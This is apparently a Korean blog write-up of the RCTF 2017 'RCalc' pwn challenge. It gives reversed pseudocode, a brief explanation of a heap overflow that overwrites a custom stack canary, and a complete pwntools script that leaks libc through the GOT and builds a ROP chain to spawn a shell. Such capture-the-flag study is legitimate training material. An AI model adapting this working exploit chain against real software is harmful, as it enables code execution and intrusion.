1. Reversing 

main(0x401036)
	setvbuf
	setvbuf
	setvbuf
	
	call 0x400a06
		
		[0x6020f8] = malloc(0x10)
		
		if [0x6020f8] == 0:
			exit(1)
			
		[0x6020f0] = malloc(0x10)
		
		if [0x6020f0] == 0:
			exit(1)
			
		[[0x6020f8]] = 0
		[[0x6020f8] + 8] = malloc(0x100)
		
		[[0x6020f0]] = 0
		[[0x6020f0] + 8] = malloc(0x320)
		
		
	alarm()
	
	call 0x400fa2
		
		call 0x400aab
		
			if [[0x6020f0]] != 0:
				
				[rbp-0x18] = fopen("/dev/urandom", "r")
				fread(rbp-0x24, 0x1, 0x4, [rbp-0x18])
				fclose([rbp-0x18])
				
			else:
			
				[rbp-0x24] = ([[0x6020f0]] * 8) - 8 + [[0x6020f0]+0x8]
				
			srand([rbp-0x24])
			
			[rbp-0x20] = rand()
			
			[rbp-0x20] = rand() | ([rbp-0x20]/0x100000000)*0x100000000
			
			rsi = [[0x6020f0] + 0x8]
			
			[[0x6020f0]] = [[0x6020f0]] + 1
			
			[[[0x6020f0]+0x8] + ([[0x6020f0]] << 3)] = [rbp-0x20]
			
			return [rbp-0x20]
		
		
		[rbp-0x8] = rax # like canary
		
		printf("Input your name pls: ")
		
		scanf("%s", rbp-0x110) // stack overflow
		
		printf("Hello %s!\n Welcome to RCTF 2017!!!\n", rbp-0x110) // libc_leak??
		
		puts("Let's try our smart calculator")
		
		call 0x400e72
			
			call 0x400aab(fopen)
				
			[rbp-0x10] = rax
			
			while True:
				call 0x400bee
					menu()
					
				call 0x400cbf
					
					call 0x400aab(fopen)
					
					[rbp-0x8] = rax
					
					memset(rbp-0x30, 0x0, 0x20)
					call 0x400c4e(rbp-0x30, 0x20)
						
						[rbp-0x18] = arg1(rbp-0x30)
						[rbp-0x1c] = arg2(0x20)
						[rbp-0x4] = 0
						
						for ([rbp-0x4] = 0; [rbp-0x4] < [rbp-0x1c]; [rbp-0x4]++){
						
							if read(0x0, rbp-0x5, 0x1) <= 0:
								return [rbp-0x4]
								
							
							BYTE PTR [[rbp-0x18] + [rbp-0x4]] = [rbp-0x5]
							
							if BYTE PTR [[rbp-0x18] + [rbp-0x4]] == 0xa:
								return [rbp-0x4]
							
						}
						
					
					call 0x400b92
					
						[rbp-0x8] = [[[0x6020f0]]*8 - 8 + [[0x6020f0]+0x8]]
						
						[[0x6020f0]] = [[0x6020f0]] - 1
						
						
						return [rbp-0x8]
						
						
					if(rax != [rbp-0x8])
						call 0x400bd4
					
					return atoll(rbp-0x30)
					
					
				[rbp-0x18] = rax

				if [rbp-0x18] == 1:

					call 0x400d24
						
						printf("input 2 integer: ")
						
						[rbp-0x8] = call 0x400cbf(read integer)
						[rbp-0x10] = call 0x400cbf(read integer)
						
						return [rbp-0x8] + [rbp-0x10]
						
						
				elif [rbp-0x18] == 2:

					call 0x400d6a
	
						printf("input 2 integer: ")
						
						[rbp-0x8] = call 0x400cbf(read integer)
						[rbp-0x10] = call 0x400cbf(read integer)
						
						return [rbp-0x8] - [rbp-0x10]
					

				elif [rbp-0x18] == 3:

					call 0x400dad

						printf("input 2 integer: ")
						
						[rbp-0x8] = call 0x400cbf(read integer)
						[rbp-0x10] = call 0x400cbf(read integer)
						
						return [rbp-0x8] / [rbp-0x10]

				elif [rbp-0x18] == 4:

					call 0x400df5
					
						printf("input 2 integer: ")
						
						[rbp-0x8] = call 0x400cbf(read integer)
						[rbp-0x10] = call 0x400cbf(read integer)
						
						return [rbp-0x8] * [rbp-0x10]

				elif [rbp-0x18] == 5:

					call 0x400b92

					if rax != [rbp-0x10]:

						call 0x400bd4
							puts("No!!!")
							exit(1)
					return
					
				else:
					continue
					
				
				if [rbp-0x18] != 5:
				
					[rbp-0x8] = rax (function retrun value)
					
					printf("The result is %d\n", [rbp-0x8])
					printf("Save the result? ")
					
					read(0x0, rbp-0x30, 0x10)
					
					if strncmp("yes", rbp-0x30, 0x3) == 0:
						
						call 0x400e39([rbp-0x8])
							 
							[rbp-0x8] = arg1([rbp-0x8])
							
							[[0x6020f8]] = [[0x6020f8]] + 1
							
							[[[0x6020f8]+0x8] + [[0x6020f8]] * 0x8] = [rbp-0x8] // out of bounds to canary
							// modify canary value
							
					continue
					
		
		call 0x400b92
			
			[rbp-0x8] = [([[0x6020f0]] * 0x8) - 0x8 + [[0x6020f0]]]
			
			[[0x6020f0]] = [[0x6020f0]] - 1
			
			return [rbp-0x8]
			
		
		if rax == [rbp-0x8]:
			return
		
		call 0x400bd4
			puts("No!!!")
			exit(1)
		
		return

직접 gdb로 까서 python? C? 비슷하게 수도코드로 만든 모습

 

 

2. Exploit

 

 단순한 heap Overflow로 custom canary를 overwrite해서 우회 -> ROP

 

 딱히 얻어갈게 없던 문제당.

 

 신기한 트릭이나 새로운 기법은 없었음.

 

 

3. slv.py

 

from pwn import *

p = process('./RCalc')

def calc(operator, integer1, integer2, save):
	
	p.sendlineafter('Your choice:', str(operator))
	
	p.sendlineafter('integer: ', str(integer1))
	
	p.sendline(str(integer2))
	
	is_save = ''
	
	if save == True:
		is_save += 'yes'
		
	else:
		is_save += 'no'
	
	sleep(0.1)
	
	p.sendlineafter('? ', is_save)
	
	return


def main():
	
    
    
	####### ROP & LIBC_LEAK STAGE #######
	
	pop_ret = 0x401123 # : (b'5fc3')  pop rdi; ret
	pop2_ret = 0x401121 # : (b'5e415fc3')      pop rsi; pop r15; ret
	got_addr = 0x601ff0 # __libc_start_main address
	printf_plt_addr = 0x400850
	scanf_plt_addr = 0x4008e0
	fini_array_addr = 0x601e10
	leave_ret_addr = 0x400fa0
	bss_addr = 0x602300
	system_offset = 0x46590
	binsh_offset = 0x180543
	
	payload = ''
	payload += 'a' * 0x108
	payload += p64(0x11111111) # canary
	payload += p64(bss_addr-0x8) # FSP
	
	# start rop chain
	
	payload += p64(pop_ret)
	payload += p64(0x401203)
	
	payload += p64(pop2_ret)
	payload += p64(got_addr)
	payload += p64(0xdeadbeef)
	payload += p64(printf_plt_addr)
	
	payload += p64(pop2_ret)
	payload += p64(bss_addr) # location to write
	payload += p64(0xdeadbeef) # dummy
	
	payload += p64(pop_ret)
	payload += p64(0x401203)
	payload += p64(scanf_plt_addr)
	
	payload += p64(leave_ret_addr)
	payload += p64(0xdeadbeef) # fake rbp
	
	p.sendlineafter(': ', payload)
	
    
    
	####### OVERWRITE CANARY STAGE #######
	
	for i in range(34):
		calc(1, 1, 2, True)
	
	payload = 0
	payload += 0x11111111 # Overwrite Custome canary
	
	calc(1, payload, 0, True)
	
    
	
	####### LIBC_LEAK & OVERWRITE GOT STAGE #######
	
	p.recv()
	p.sendline('5')
	
	libc_leak = u64(p.recv()[:8] + '\x00\x00')
	libc_base = libc_leak - 0x21e50
	
	system_addr = libc_base + system_offset
	binsh_addr = libc_base + binsh_offset
	
	log.info('libc_base : ' + hex(libc_base))

	payload = ''
	payload += p64(pop_ret)
	payload += p64(binsh_addr)
	payload += p64(system_addr)
	
	p.sendline(payload)
	
	p.interactive()

	return



if __name__ == '__main__':
	main()

 

주의해야될 점은 bss영역을 좀더 위로 잡아야되는 거랑 scanf로 입력을 받기때문에 0x20이 입력되면 해당 바이트 포함해서 뒷부분의 payload가 모두 무시되므로 0x20이 포함되지 않게 주의해서 주소 선별을 해야됨.

 

 rop gadget도 딱히 없어서 요령껏 잘 찾아서 해야됨 0x601ff0에 __libc_start_main got가 있어서 libc_leak이 가능했음.

'System > RCTF 2017' 카테고리의 다른 글

[RCTF 2017] - RNote - 191110  (0) 2019.11.10

+ Recent posts